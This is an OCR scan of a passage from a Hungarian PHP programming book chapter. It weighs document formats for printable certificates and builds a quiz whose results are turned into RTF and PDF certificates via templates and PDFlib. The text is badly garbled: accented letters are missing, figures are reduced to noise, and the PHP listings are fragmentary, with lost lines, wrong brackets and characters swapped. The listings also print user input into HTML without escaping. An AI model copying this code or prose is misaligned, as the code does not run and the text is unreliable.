jelenni. Nem tudjuk szablyozni pldul a bettpusokat vagy az oldaltrseket. Csak szveget hasznlhatunk, s igen kevs
rhatsunk van a formzsra. Ugyangy nem tudjuk megakadlyozni, hogy a dokumentum cmzettje lemsolja vagy mdostsa
azt. Ennl a formtumnl a legegyszerbb az oklevl rosszindulat megvltoztatsa.
32
rcis rendszerrel s szaftverrel kompatibilis. Viszonylag egyszer, gy dokumentumaink dizjnjt knnyen megtervezhetjk,
kdunk pedig gyorsan ellltja s tadja a vgeredmnyt.
A mostani projektnkhz hasonl alkalmazsok esetn viszont olyan htrnyokkal vagyunk knytelenek szembenzni, mim
a nyomtatshoz kapcsold formzsi lehetsgek (pldul oldaltrsek J korltozott tmogatsa, az opercis rendszerektl s
programoktl fggen klnbz megjelens s eltr minsg nyomtats. Radsul a HTML ugyan brmilyen tpus kls
elemet kpes beilleszteni, ritkbb formturnek hasznlata esetn nem garantlhat, hogy minden bngsz kpes lesz megjele
nteni vagy hasznlni ezeket az elemeket.
Szvegszerkesztformtumok
Elssorban intraneres projektek esetn lehet ltjogosultsga a dokumentumok szvegszerkeszt formtumban val kzz
ttelnek. Internetes projektnl ugyan egy konkrt szvegszerkeszt formtum hasznlatval kizrhatunk egyes ltogatkat,
azonban piaci tlslyt figyelembe vve rdemes lehet Microsoft Word dokumentumokat hasznlni. A legtbb felhasznl
gpn teleptve van a Word vagy egy olyan szvegszerkeszt, amely olvasni tudja a Word fjlokat (pldul az ingyenesen elrhe
t OpenOffice Writer).
A Worddel nem rendelkez Windows-felhasznlk a http://office.microsoft.com/en-us/downloads/ha010449811033.
aspx oldalrl tlthetik le az ingyenes Word Viewer alkalmazst, amellyel megtekinthetik, kinyomtathatjk s msolhatjk
a Word dokumentumokat.
A dokumentumok Microsoft Word formtumban trtn ellltsa nyilvnval elnykkel jr. Ha szmtgpnkre te
leptve van a Word, egyszeren elkszthetjk a dokumentumot. Szinte teljes mrtkben szablyozni tudjuk megjelentst,
s rugalmasan alakthatjuk tartalmr. A jelszval vdett dokumentumokat radsul viszonylag nehezen tudja a fogad fl
mdostani.
Sajnos a Word fjlok igen nagyok lehetnek, klnsen akkor, ha kpeket vagy ms komplex elemeket tartalmaznak. Ezen
tlmenen nem ltezik egyszer mdszer arra, hogy PHP-vel dinamikusan ellltsuk ket. A Word formtum dokumentlt
ugyan, de binris formtumrl van sz, s a dokumentci licencelsi feltteleket tartalmaz. COM objektummal lehetsges
ugyan Word dokumentumokat ellltani, de ez messze nem egyszer dolog.
Egy msik, mrlegelend lehetsg az OpenOffice Writer hasznlata, ami kt szempontbl is elnys lehet: nylt forrs
kd, ingyenesen elrhet szaftverrl van sz, ami radsul XML-alap fjlformtumot hasznl. Az XML fjlformtumot az
541
Office 2003 s 2007 programcsomag is natv mdon tmogatja. A Microsofi:.com oldalrl a Wordh:z: s egyb Office-term
kekhe:z: letlthet a Document Type Delinition (dokumentumtpus-delinci, DT D). Keressnk r a:z: oldalon a:z:"Office XML
Reference Schemas'; a:z:a:z: Office XML referenciasmk kifeje:z:sre! Jrhat, de nem egyszer t vr rnk, ha ezt a megoldst
vlasztjuk.
Rich Textformtum
Rich Text formtum (RTF) dokumentumok esetn is kihasznlhatjuk a Word funkciinak nagy rszt, radsul a:z: ilyen fj
lok egyszerbben elllthatk. A nyomtatott oldal elrende:z:se s formzsa rugalmasan megoldhat, radsul a dokumentum
vektor- s pixelgrafikus kpeket egyarnt tartalma:z:hat. St, a felhasznlk a dokumentum megtekintsekor s nyomtatsakor
nagy valsznsggel hasonl eredmnyt kapnak, mint mi.
Az RTF a Microsofi: Word szveges formtuma. Olyan kompatibilis formtumnak szntk, amely lehetv teszi a kln
bz programok kztti adatcsert. Bizonyos szempontbl hasonlt a HTML-re. Szintaktikval s kulcsszavakkal, nem pedig
binris adatokkal viszi t a formzsi informcikat. ppen e:z:rt a:z: emberi szem szmra viszonylag jl olvashat.
A formtum jl dokumentlt, s specifikcija ingyenes elrhet; keressnk r a Microsofi:.com oldalon a:z:"RTF
specification'; a:z:a:z: RTF specifikci kifeje:z:sre!
Az RTF dokumentumok ellltsnak legegyszerbb mdja a szvegszerkesztk " Save As RTF'; aza:z: "Ments RTF for
"
mtumban menpongnak kivlasztsa. Mivel az RTF fjlok csak szveget tartalmaznak, kzvetlenl elllthatk, a meglv
llomnyokat pedig knnyszerrel mdosthaguk.
Dokumentlt s ingyenesen elrhet formtumrl lvn s:z: a:z: RTF fjlokat tbb program olvassa, mint a Word binris
formtumt. Nem rt a:z:onban tisztban lenni a:z:zal, hogy sszetettebb RTF fjlokat a Word rgebbi verziival vagy ms sz
vegszerkesztvel megnyitk valamilyen mrtkben eltr eredmnyt fognak lrni. A Word minden j verzija j kulcss:z:avakat
vezet be a:z: RTF formtumhoz, gy a rgebbi alkalma:z:sok figyelmen kvl fogjk hagyni a:z: ltaluk nem rtett vezrlket.
Ami elvrsaink fenti listjt illeti, egy RTF formtum oklevl egys:z:eren megszerkeszthet Word vagy ms s:z:vegszer
keszt segtsgve!; vektor- s pixelgrafikus elemeket egyarnt tartalma:z:hat; kivl minsg nyomatot eredmnyez; egyszer
en s gyorsan elllthat; elektronikus ton alacsony kltsggel elkldher.
A formtum sokfle alkalma:z:sban s opercis rendszerben hasznlhat, noha ugyana:z: a dokumentum kicsit msknt
jelenhet meg az egyes programokban. Az RTF dokumentumok rnyoldala, hogy brki egyszeren s tetszs szerint mdost
haga ket, ami oklevelek s sok egyb dokumentumtpus esern is problmt jelent. Az sszetettebb dokumentumok fjimrece
viszonylag nagy is lehet.
Mindezek figyelembe vtelvel a:z: RTF formtum szmos alkalma:z:snl megfelel vlaszts a dokumentumok ellltsra,
e:z:rt mostani projektnkben is ez lesz a:z: egyik megvizsglt lehetsg.
PostScript
A:z: Adobe PostScript formrum oldaller nyelv. Rengeteg funkcit knl, sszetett programozsi nyelv, amelynek clja a do
kumentumok eszkzfggetlen mdon trtn ellltsa - vagyis olyan lers ksztse, amely a klnbz nyomtatkon s
kijelzkn ugyanolyan megjelenst eredmnye:z:. Rendkvl rszletesen dokumentlt formtum, amirl szmos knyvet rtak,
s amirl rengeteg weboldalon olvashatunk.
A PostScript dokumentumok nagyon pontos formzst, szveget, kpeket, begya:z:ott bettpusokat s egyb elemeket
tartalma:z:harnak. Egys:z:eren elllthatk, ha a megfelel alkalma:z:sbl PostScript nyomtatdriverre nyomtatjuk ket. Ha
rdekel bennnket, akr a:z:t is megranulhaguk, hogyan lehet ebben a nyelvben kzvetlenl programozni.
A PostScript dokumentumok viszonylag platformfggetlenek. Klnbz eszkzkrl s opercis rendszerekbl nyomtat
va is egyformn kivl minsg nyomatot eredmnye:z:nek.
Szmos jelents htrnnyal szmolnunk kell ugyanakkor, ha PostScript formrumban szetetnnk dokumentumainkat ter
jeszteni: a fjlmret hatalmas lehet, s a felhasznlk tbbsgnek jabb szofi:vert kell letltenik ahhoz, hogy has:z:nlni tudjk
a fjlokat. A Unix-felhasznlk tbbsge ugyan tudja ke:z:elni a PostScript fjlokat, de windowsos trsaiknak jellemzen le kell
tltenik egy olyan alkalma:z:st, mint pldul a Ghostscript PosrScripr-rrelmezt has:z:nl GSview. E:z: a szofi:ver sokfle
platformhoz elrhet. Ingyenes ugyan, de nem iga:z:n clszer az embereker jabb s jabb szofi:verek letltsre knyszerteni.
A G hostscriptrl rszleresebben a http://www.ghostscript.com/ oldalon olvashatunk, letlteni pedig a http://www. cs.wisc.
edu/ ghost/ oldalrl tudjuk.
Ami fejezetnk alkalma:z:sr illeti, a PostScript jl szerepel a:z: egysgesen kivl minsg kimenet terletn, azonban szin
te a:z: sszes tbbi elvrsunknak kptelen megfelelni.
32
542
32.fezec
knl. Az Adobe ltal kifejles:z:cerc Portable Document Formac (PDF), azaz hordozhat dokumentumformcum olyan doku
meneum-megosztsi mdszer, amely egyformn viselkedik a klnbz placformokon, s kivl minsg kimenetet eredm
nyez kpernyn, papron egyarnt.
A:z: Adobe a kvetkezkppen mucatja be a PDF formtumot:"A PDF lnyegben az elektronikus dokumentummegoszts
nylt szabvnynak tekinthet. Az Adobe PDF univerzlis f:ijlformtum, amely a ltrehozshoz hasznlt alkalmazstl s
platformtl fggetlenl megrzi a forrsdokumentum sszes betcpust, form:z;st, sznt s grafikai elemr. A PDF fjlok
kismretek, s az ingyenes Adobe Acrobat Reader alkalmazssal mindenki pontosan abban a formban tekintheti meg, oszc
hatja meg s nyomtathatja ki ket, ahogy az alkotjuk ellltorca:'
A PDF nylt formtum, dokumentcija a hrcp://partners.adobe.com/asn/tech/pdf/specifications.jsp oldalon tallhat, de
sok ms weboldalon, illetve egy hivatalos knyvben is elrhet.
A PDF a fenti elvrsainkkal szembestve is igen jl szerepel: a PDF dokumentumok egyforma s kivl rninsg kimene
tet eredmnyeznek; vektor- s pixelgrafikus kpeket egyarnt tartalmazhacnak; tmrtse hasznlva kismret fjlokat llt
hacunk el; elektronikusan olcsn terjeszthetk, az sszes nagy opercis rendszeren hasznlhatk; s biztonsgi funkcikat is
tartalmaznak.
A PDF ellen szl az a tny, hogy a PDF dokumentumok ellltsra hasznlt szoftverek tbbsge fizets termk. A PDF fj
lok megtekintshez olvasra van s:z:iiksg, de az Acrobac Reader ingyenesen letlthet Windowshoz, Unixhoz s Macintoshhoz
is. Oldalunk ltogatinak tbbsge rninden bizonnyal mr jl ismeri a . pdf kiterjesztst, s igen valszn, hogy teleptere PDF
olvasval is rendelkezik.
A PDF fjlok kivlan alkalmasak tetszetsen form:z:orc, nyomtathat dokumentumok terjesztsre, klnsen abban az
esetben, ha egyszer mdszerekkel nem mdosthat dokumentumokat kivnunk kldeni.
A fejezetben kt klnbz mdszert is megvizsglunk a PDF formtum oklevl ellltsra.
A megolds alkotelemei
32
Alkalmazsunk mkdshez ellenriznnk kell felhasznlink tudst, s (amennyiben sikeresen cltrck ki a ceszcet) okte
velet kell ellltanunk a vizsgaeredmnykrL A fejezet sorn hromflekppen ksztjk el ezt az oklevelet: elszr RTF s
PDF sablon hasznlatval, majd programozssal fogunk j PDF dokumentumot ellltani.
Nzzk meg most rszletesen az egyes alkotelemek kvetelmnyeit!
Vizsgztatrendszer
Olyan online rtkelrendszer elksztse, amely tbbfle krdstpust tesz lehetv, tartalmas visszajelzse ad a rossz vlaszok
rl, s intelligens statisztikai, illetve jelentskszt funkcikkal br, nmagban is sszeterc feladat lenne.
Ebben a fejezetben rdekldsnk kzppontj ban a perszonalizlt s interneten terjeszthet dokumentumok ellltsa
ll, ezrt csak nagyon egyszer, kv:z; alap teszerendszert fogunk ltrehozni. A teszthez nincs szksg semmilyen klnleges
szoftverre. HTML rlap segtsgvel teszi fel a krdseket, s PHP kddal dolgozza fel a vlaszokat. A PHP gyorstalpal cm
A dokumentumelllt szoftver
Nincs szksg kln szoftverre a webszervernkn RTF vagy PDF dokumentumok sablonokbl trtn ellltsra, viszonr
a sablonok ltrehozshoz megfelel alkalmazst kell hasznlni. A PHP PDF-ltrehoz fggvnyeinek ignybe vtelhez
PDF-tmogatsra van szksg PHP-teleptsnkben; ezzel a tmval a fejezet ksbbi rszben rszletesen foglalkozunk majd.
543
32
544
32. fejezet
Amennyiben TIFF vagy JPEG kpeket szeretnnk PDF dokumentumainkban hasznlni, a TIFF s a JPEG knyvtrat is
teleptennk kell. Ezek a http://www.libtilf.org/, illerve az ftp://ftp.uu.net/graphics/jpeg/ cmrl tlthetk le.
A PDFlib kiterjeszts alaprtelmezsben nincsen a PHP-vel teleprve; a fjlokat le kell tltennk a PECL (PHP Extension
Community Library) oldalrl, majd sajt kezleg kell teleptennk a kiterjesztst.
Nem windowsos rendszerek esetn a http://pecl.php.net/package/pdRib cmen tallhat fjlokat letlrve, majd azokat a pe cl
paranccsal teleprve juthatunk hozz a kiterjesztshez. Olvassuk el a http://www.php.net/manual/en/install.ped.pear.php oldalon
tallhat utastsokat!
Windows alatt a http:/ /pecl4win.php.net/ext.php/php_pdRib.dll cmen tallhat fjlt letlrve szerezhetjk be az elford
tott kiterjesztst, illerve azt is megtehetjk, hogy a lefordtott PECL kiterjesztsek teljes knyvtrc letltjk a PHP.net letl
tsek oldalrl. Letlts utn helyezzk a php_pdRib.dll fjlt a PHP kiterjesztseket tartalmaz knyvtrunkba (ez ltalban
a PHP teleptsi knyvern bell tallhat ext knyvtr), s adjuk hozz php.ini fjlunkhoz az albbi sort:
extension=php_pdf.dll!
A megolds ttekintse
A projektnkben kifejleszteni kivnt rendszernknek hrom lehetsges kimenere van. Ahogy azt a 32.1 brn is lthatjuk,
feltesszk a vizsgakrdseket, rtkeljk a vlaszokat, majd a hrom kzl valamelyik mdszerrel ltrehozzuk az oklevelet:
res sablonbl RTF dokumentumot ksztnk.
res sablonbl PDF dokumentumot ksztnk.
32
Tesztkrdsek
lekrdezse
Tesztkrdsekre
adon vlaszok
rtkelse
PDFfjl
ltrehozsa
az res
sablonbl
PDFfjl
ltrehozsa
PDFiib
fggvnyekko
32.1 bra: A
Nv
Tpus
index.html
HTML oldal
ertekeles. php
Alkalmazs
rtf.php
Alkalmazs
pdf.php
Alkalmazs
pclflib.php
Alkalmazs
alairas.png
Image
PHPOklevel.rtf
RTF
PHPOklevel.pdf
Lers
545
A tesztkrdsek lekrdezse
Az index.html fjl egszen magtl rtetd. HTML rlapot tartalmaz, amellyel megkrdezzk a felhasznl nevt, illetve
feljegyezzk a tesztkrdsekre adott vlaszait. Valdi vizsgaalkalmazs esetn letszerbb, hogy a krdseket adatbzisbl vesz
szk. Mostani feladatunk az oklevl ellltsra sszpontost, ezrt a krdseket egyszeren berjuk a HTML kdba.
A nev mez szveges adatot vr. Minden vlasznl hrom vlasztgombot ltunk, amely segtsgvel a felhasznl megje
llheti az ltala helyesnek vlt vlaszt. Az rlap kpet hasznl klds gombknt.
Az oldalnak a kdjt a 32.1 pldakdban lthatjuk.
32.1 pldakd: index.html-A tesztkrdseket tartalmaz HTML oldal
<html>
<body>
<hl><p align="center">
<img src="rosette.gif" alt="">
Oklevl
<img src="rosette.gif" alt=""></p></hl>
<p>Itt az alkalom,
32
Karakterlncok kiratsra.</li>
<li><input type="radio" name="kl" value="2" />
sszead kt szmot.</li>
<li><input type="radio" name="kl" value="3" />
Ltrehozza a kdunk rst befejez varzstrpt.</li>
</ol>
PHP fggvny?</p>
<ol>
<li><input type="radio" name="k2" value="l" />
Radinokra szmolja a koszinusz rtket.</li>
<li><input type="radio" name="k2" value="2" />
Radinokra szmolja a tangens rtket.
</li>
</ol>
<p>Mire hasznlhat a mail()
PHP fggvny?</p>
<ol>
<li><input type="radio" name="k3" value="l" />
E-mail zenetet kld.
<li><input type="radio" name="k3" value="2" />
Ellenrzi a bejv postafikot.
<li><input type="radio" name="k3" value="3" />
Felhvja a postahivatalt.
</ol>
\,
546
32. fejezet
l Oklevl
lll ........ loafrO.---VIfl'!6oM.....,_",. .... _
....... J'KP.ol.:let.'OIIil!
lio:etde'i.,ect..PHP.beiiiMIIoo'
1
l
o......,.,......_.
Oo.-...tra..a...
0 U..
..... . k0doool<n.ill>cfr,..6
Mft.....o....OPHP
!O ........_.nibl.
10-+--
l. os.-PHP._.....,,.._..,.,_...,;p.
:.&e-.....o..-;)PHP.......,.
l
l
OE;.--
OEio>lo.."..'6
J. o...,..
32
teszfel afelhasznlnak.
A vlaszok rtkelse
Amikor a felhasznl az index.htmlfjlban elkldi a krdsekre adott vlaszait, rtkelni kell azokat, majd ki kell szmolni
a vizsga eredmnyt. A 32.2 pldakdban lrhat ertekeles.php kd pontosan ezt teszi.
32.2 pldakd: ertekeles.php-A
tesztet rtkel kd
<?php
//rvid vltoznevek ltrehozsa
$kl
$k2
$ POST['kl'];
=
$_POST['k2');
$k3 = $ POST['k3');
$nev =$ POST['nev');
ll ellenrizzk,
if(($kl==")
ll
($k3==") l l
($nev=="))
echo "<hl>
<p align=\"center\">
<img src=\"rosette.gif\" alt=\"\" l>
Sajnljuk:
<img src=\"rosette.gif\" alt=\"\" /></p></hl>
<p>Adja meg nevt,
else
ll pontszmok sszeadsa
$teszteredmeny = 0;
if ($kl == l)
if($k2 == l)
547
if($k3 == l)
100;
ll a vizsgz megbukott
echo "<hl>
<p align=\"center\">
<img src=\"rosette.gif\" alt=\"\" />
Sajnljuk:
<img src=\"rosette.gif\" alt=\"\" /></p></hl>
<p>A sikeres vizsghoz legalbb 50 szzalkot el kell rni.</p>";
else
l);
32
Gratullunk!
<img src=\"rosette.gif\" alt=\"\" /></hl>
<p>Szp volt,
".$nev.",
".$teszteredmeny."%-os eredmnnyel
'---
kattintson ide,
formtumban letltse
oklevelt!</p>
<form action=\"rtf.php\" method=\"post\">
<div align=\"center\">
<input type=\"image\" src=\"oklevel.gif\" border=\"0\">
</div>
<input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/>
<input type=\"hidden\" name=\"name\" value=\"".$nev."\"/>
</form>
<p>Krjk,
kattintson ide,
formtumban
letltse oklevelt!</p>
<form action=\"pdf.php\" method=\"post\">
<div align=\"center\">
<input type=\"image\" src=\"oklevel.gif\" border=\"0\">
</div>
<input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/>
<input type=\"hidden\" name=\"name\" value=\"".$nev."\"/>
</form>
<p> Krjk,
kattintson ide,
548
32. fejezet
?>
A kd zenetben kzli a felhasznlval, ha nem minden krdsre vlaszolt, vagy nem rte el a sikeres vizsghoz szksges
eredmnyt.
Ha a felhasznl megfelelen vlaszolt a krdsekre, elksztheti oklevelt. A sikeres vizsga esetn lthat kimenetet a 32.3
bra mutaga.
u:
.rz=_;..----"-"' ... --..a-.s
rt_;;..,
Gratullunk!
32
Fcm\par
l
A dokumentum olyan fonttblt hoz ltre, amely kt bettpusbl ll: az egyik bettpus az fO-knt hivatkozott Arial,
a msik pedig az fl-knt hivatkozott Times New Roman. Ezt kveten az fO (Arial) bettpussal, 28-as mretben (azaz
14 pontos betvel) lerja a Fcm, majd 20-as mret (10 pontos) fl ( Times New Roman) bettpussal az Ez egy rtf
dokumentum. szveget.
Ugyan manulisan is ellltharunk egy ilyen dokumentumot, de a PHP nem rendelkezik a munknk igazn nehz rszeit,
pldul a kpek beillesztst megknnyt fggvnyekkeL Szerencsre sok dokumentumban statikus a szerkezet, a stlus s
a szveg nagy rsze, s csak egy-egy kis rszt kell a perszonalizlshoz cserlgetni. Ezrt az ilyen dokumentumok ellltsnak
hatkonyabb m4ia a sablonok hasznlata.
Szvegszerkeszt segtsgvel knnyedn ltrehozharunk olyan, viszonylag sszetett dokumentumot is, mint amilyet a 32.4
brn ltunk.
549
1'1-'1-
elllt kd
32
<?php
//rvid vltoznevek ltrehozsa
$nev = $_POST['nev'];
$teszteredrneny
ll ellenrizzk,
if(!$nev
l l
$_POST['teszteredrneny'];
hogy megkaptuk-e a szksges adatokat
!$teszteredrneny)
echo "<hl>Hiba:</hl>
<p>Az oldal meghvsa nem sikerlt.</p>";
else
application/msword'};
header('Content-Disposition:
inline,
filename=okl.rtf'};
$datum = date('Y.m.d'};
'PHPOklevel.rtf';
'r'};
fclose ($fp};
filesize($fajlnev});
550
32. fezet
str replace('<<NEV>>',
strtoupper($nev),
$kimenet
str_replace('<<Nev>>',
$nev,
$kimenet
str_replace('<<teszteredmeny>>',
$kimenet
$kimenet);
$kimenet);
Steszteredmeny,
$datum,
$kimenet);
$kimenet);
?>
A kd alapszint hibaellenrzst vgezve meggyzdik arrl, hogy az sszes felhasznli adatot megkapta-e, ezt kveten
pedig az oklevl ltrehozsval folytatja munkjt. A kd vgeredmnye nem HTML, hanem RTF formram fjl lesz, gy
tjkoztatnunk kell errl a felhasznl bngszjt. Erre azrt van szksg, hogy a bngsz a megfelel alkalmazssal prblja
meg megnyitni a fjlt, vagy Save As ... (Ments msknt) tpus prbeszdablakot jelentsen meg, ha nem ismem fel az
rtf
kiterjesztst.
A kimenetknt ltrehozand fjl MIME-tpust a PHP
header
applicationl msword');
header('Content-Disposition:
inline,
filename=okl.rtf');
Az els fejlc kzli a bngszvel, hogy Microsoft Word fjlt kldnk (ami szigoran vve nem igaz, de ez az RTF fjlok
megnyitsra leggyakrabban hasznlt alkalmazs). A msodik fejlc azt mondja a bngsznek, hogy automatikusan jelentse
meg a fjl tartalmr, amelynek ajnlott fjlneve okl. rtf. Ez az alaprtelmezett fjlnv, amellyel a felhasznl akkor tallkozik,
amikor megprblja bngszjbl elmenteni a fjlt.
A fejlcek elkldse utn megnyitjuk s beolvassuk a sablon RTF fjlt a
$kimenet
32
$kimenet = str_replace('<<Nev>>',
sor pldul a
Nev>>
$nev,
$kimenet);
Az adatok lecserlse utn mr csak meg kell jelenteni bngsznkben a kimenetet. A 32.5 brn az rtf. php kd futtat
snak mintakimenett lthatjuk.
Ez a mdszer kivlan mkdik. A
st r_ replace()
a sablon s ezltal a $kimenet vltoz tartalma is viszonylag hossz. Alkalmazsunk szempontjbl a legnagyobb problmt
az jelenti, hogy a felhasznl az oklevelet - nyomtats cljbl- betlti szvegszerkeszt programjba, ahol egyszeren lehe
tsge nylik mdostani azt. Az RTF formrum nem teszi lehetv csak olvashat dokumenrumok ltrehozst.
551
szerkeszt segtsgvel belenznk az ltalunk ltrehozott oklevlsablonba,azt fogjuk ltni, hogy a helykicltk a kvetkez
kppen nznek ki:
<<N)-13(AME)-10(>)-6(>
<<Na)-9(m)O(e)-18(>>
<)-ll(<)l(sc)-17(or)-6(e)-6(>)-ll(>
<)-ll(<)l(m)-12(m)0(/d)-6(d)-19(/)l(yy)-13(yy)-13(>>
Ha vgignznk az llomnyon, lthatjuk,hogy az RTF formcummal ellenttben ezt az emberi szem sokkal kevsb kpes
elolvasni.
Megjegyzs: A PDF sablonfjl formtuma az ltalunk hasznlt Acrobat vagy egyb PDF-ltrehoz eszkz verzijtl fgg.
A pldhoz megrt kd egyltaln nem biztos, hogy ltalunk ltrehozott sablonok esetn is mkdni fog. Ellenrizzk sablonunkat, s szksg esetn mdostsuk a kdot! Ha a problma tovbbra is fennll, alkalmazzuk a fejezet kvetkez rszben
bemutatott, a PDF/ib fggvnyeket hasznl kdot! Annak rdekben, hogy a gyakorlatot vgig tudjuk csinlni, az angol nyelv
PDF sablont nem mdostottuk. !gy ha megnyitjuk a fjlt egy szvegszerkesztben, a helykitltk pontosan a fent lthat m
don fognak kinzni.
Tbbfle megolds ltezik erre a problmra. Az egyik lehetsg,hogy vgiglpkednk a helykitlckn,s kitrljk a for
mzsi kdokat. Ez alig vltoztatja meg a dokumentum kinzett,mert az elz sablonban begyazott kdok gyis jelzik,hogy
mennyi helyet kell hagyni a lecserlend helykicltk beti kztt. Ennl a megkzeltsnl azonban vgig kell menni a teljes
PDF f:ijlon,s sajt kezilleg kell szerkeszteni, radsul ezt minden egyes alkalommal meg kell tennnk, ha megvltoztattuk
vagy frissttettk a fjlt. Ez nem jelent tl nagy munkt abban az esetben, ha csak ngy helykitltvel llunk szemben, de rm
lomm vlhat,ha tbb dokumentum szmos helykitltjvel kell foglalkozni, s gy dntnk,hogy az sszes dokumeneum
ban megvltoztatjuk - mondjuk- a fejlcet.
Egy msik mdszerrel elkerlhet az ilyen problma. Adobe Acrobat segitsgvel ltrehozunk egy PDF rlapot, amely a ko
rbban hasznlt HTML rlapokhoz hasonlan res, elnevezett mezket tartalmaz. Ezt kveten PHP kddal elkszthetjk
az FDF (Forms Data Format) fjlt, ami lnyegben egy sablonba berand adathalmaz. FDF f:ijlokat a PHP FDF fggvny
knyvcrval hozhacunk ltre: egsz pontosan az fdf_create () fggvnnyel lltjuk el a fjlt, az fdf_set_value ()
fggvnnyel meghatrozzuk a mezk rtkeit,majd az fdf_set_file () fggvnnyel belltjuk a megfelel sablonfjlt. Vgl
a megfelel MIME-tpussal- ez jelen esetben vnd. fdf- tadjuk a fjlt a bngsznek,s annak Acrobat Reader bvtmnye
kicserli az rlapban az adatokat.
Mindez nagyon jl hangzik, azonban kt szpsghibja is van a dolognak. Elszr is azt felttelezi,hogy rendelkeznk az
Acrobat Professional programmal (a teljes verzival, nem az ingyenes olvasval, st nem is a Standard verzival). Msodsorban
a soron belli szvegeket esetenknt jval krlmnyesebb kicserlni,mint az rlapmezket. Egyes helyzetekben ez problmt
okozhat,de ez mindig az adott dokumentumtl fgg. A PDF dokumentumok ltrehozsnak feladara igen gyakran levelek
ellltsakor jelentkezik, s a levelekben sok olyan szveg lehet,amit soron bell kell cserlni. Ilyen clra az FDF fjlok nem
igazn hasznlhatk. Ha viszont pldul adnyomtatvnyt szecetnnk online kitlteni, akkor a fenti problmk egyltaln nem
jelentkeznek.
Az FDF formtumrl az Adobe weboldaln,a http:/ /www.adobe.com/ devnet/ acrobat/fdftoolkit.html cmen olvasharunk
bvebben.
Ha gy dntnk, hogy ezt a megkzeltst vlasztj uk,rdemes lehet elolvasni a PHP online kziknyvben az FDF doku
mentcijt: http:/ /www.php.net/ manual/ en/ ref.fdf.php.
Most pedig sszpontostsunk a problma fent emltett,els megoldsi mdjra! Ha szrevesszk,hogy a helykitltkhz
adott formzsi kdok csak ktjelbl, szmjegyekbl s zrjelekbl llnak,vagyis regulris kifejezsekhez illeszthetk, akkor
meg tudjuk oldani a PDF fjlban lv helykicltk keresst s cserjt. rtunk egy fggvnyt ( pdf_csere ()),amely automa
tikusan ellltja az adott helykitlthz illeszked regulris kifejezst, majd a megfelel szvegre cserli a helykicltt.
Ne feledjk, hogy az Acrobat egyes verziban a helykicltk egyszer szvegek is lehetnek, amiket a korbban ltottak sze
rint az st r_ replace () fggvnnyel is kicserlhetnk!
Ezt a kiegsztst leszmtva a PDF sablonbl oklevelet elllt kd igen hasonl az RTF formcum esetn lcotthoz. A k
dot a 32.4 pldakd tartalmazza.
32.4 pldakd: pdf. php-A perszanalizlt PDF oklevelet sablon alapjn elllt kd
<?php
set_time_limit(180);
// a kd lass
lehet
32
'--
552
32. fejezer
$regkif
for ($i = O;
$i<$hossz;
$i++)
$regkif .= $minta[$i];
($i<$hossz-1) {
if
$regkif .= "(\)\-{0,1)[0-9]*\(){0,1)";
if(!$nev
l l
!$teszteredmeny) {
echo "<h1>Hiba:</h1>
<p>Az oldal meghivsa nem sikerlt.</p>";
else
32
ll sablonfjlunk megnyitsa
$fajlnev = 'PHPOklevel.pdf';
$fp = fopen ($fajlnev, 'r');
$kimenet
$kimenet
$kimenet
Ez a kd a PDF perszonalizlr vltozatt llrja el. A 32.6 brn lthat dokumentum szinte brmilyen rendszeren ugyan
olyan nyomatot eredmnyez, s valamivel nehezebben mdosthat, illetve szerkeszthet. Lthatjuk, hogy
ez
a PDF dokumen
sokkal tbb idr ignyelnek, minr az RTF verzinl hasznlhat str_replace() fggvny. Ha sok helykitltt kell doku
mentumainkban lecserlni, vagy nagy szm dokumentumot kivnunk ltrehozni ugyanazon a kiszolgln, akkor rdemes
553
ms megkzeltst vlasztani. Egyszerbb sablonok esetn ez kevsb problms, ebben a fjlban is a kpeket jelkpez adatok
teszik ki az llomny nagy rszt.
tt
32.6 bra: A pdf. php kd PDF sablonbl lla el az oklevelet.
32
informcit.
"");
pdf_set_info($pdf,
"Szerz",
pdf_set_info($pdf,
"Cm",
pdf_set_info($pdf,
"PDF ltrehozja",
"Trgy",
595,
"Hell,
vilg!
(PHP)");
"tesztpdf.php");
"Teszt PDF");
297
mm,
azaz 595
842 pont
842);
ll knyvjelz hozzadsa
pdf_add_bookmark($pdf,
'1. oldal',
$betutipus = pdf_findfont($pdf,
pdf setfont($pdf,
$betutipus,
O, 0);
'Times-Roman',
24);
'host',
0);
554
32. fejezet
50,
pdf set_text_pos($pdf,
700);
ll szveg rsa
pdf_show($pdf, 'Hell, vilg!');
pdf_continue_text($pdf,'(-
mondja a PHP)');
ll dokumentum vge
pdf_end_page($pdf);
pdf_close($pdf);
$adat = pdf_get_buffer($pdf);
applicationlpdf');
header('Content-Disposition:
header('Content-Length:
inline;
filename=tesztpdf.pdf');
' . strlen($adat));
vagyis
32
Vgzetes hiba:
Ez az zenet azt jelenti, hogy vagy nem teleptettk a PDFlib kiterjesztst, vagy nem kapcsoltuk be a PHP-ben.
A telepts folyamata viszonylag egyrtelm, m nhny rszlete az ltalunk hasznlt PHP s PDFlib konkrt verzijrl
fgg. Rszleres utastsokat tallunk az online PHP kziknyv jegyzetekkel elltott vltozatnak a PDFlib knyvtrral foglal
koz oldaln, ahol hasznos felhasznli megjegyzseket is olvashatunk.
Ha a kd megfelelen fut rendszernkn, rdemes megvizsglni a mkdst. A
$pdf = pdf_new();
pdf open_file($pdf,
"");
"Szerz",
pdf set_info($pdf,
"Cm",
"Luke Welling s
pdf_set_info($pdf,
"PDF ltrehozja",
"Trgy",
"Hell,
vilg!
Laura
Thomson");
(PHP)");
"tesztpdf.php");
"Teszt PDF");
Minden PDF dokumentum adott szm oldalbl ll. j oldal megkezdshez a pdf_begin_page () fggvnyt kell meg
hvni. A pdf _open ( ) ltal visszaadott azonost mellett az oldal mrett kell a fggvnynek paramce(knt tadni. A doku
mentum akr minden oldala klnbz mret lehet, de ha nincs valami klnleges oka, akkor rdemes egysges paprrnretet
hasznlni.
A PDFlib pontokban szmolja gy az oldalmretet, mint az egyes oldalon lv koordintkat. Az A4-es oldal krlbell
595
595,
842);
555
PDF dokumentumokat nem csupn nyomtatsi clbl kszchetnk. Olyan PDF funkcikat is tarcalmazhatnak, mint pl
dul a hiperhivatkozsok s a knyvjelzk. A pdf_add_outline{) fggvny knyvjelzt ad a dokumentumhoz. A knyvjel
zk az Acrobat Readernek a dokumentumtl elklntett paneljn jelennek meg, s lehetv teszik, hogy egybl a hivatkozott
rszre ugorjunk.
A
pdf_add_bookmark{$pdf,
'l oldal', O,
0);
Helvetica-BoldOblique
Times-Roman
Times-Bold
Times-Icalic
Times-Boiditalic
Symbo!
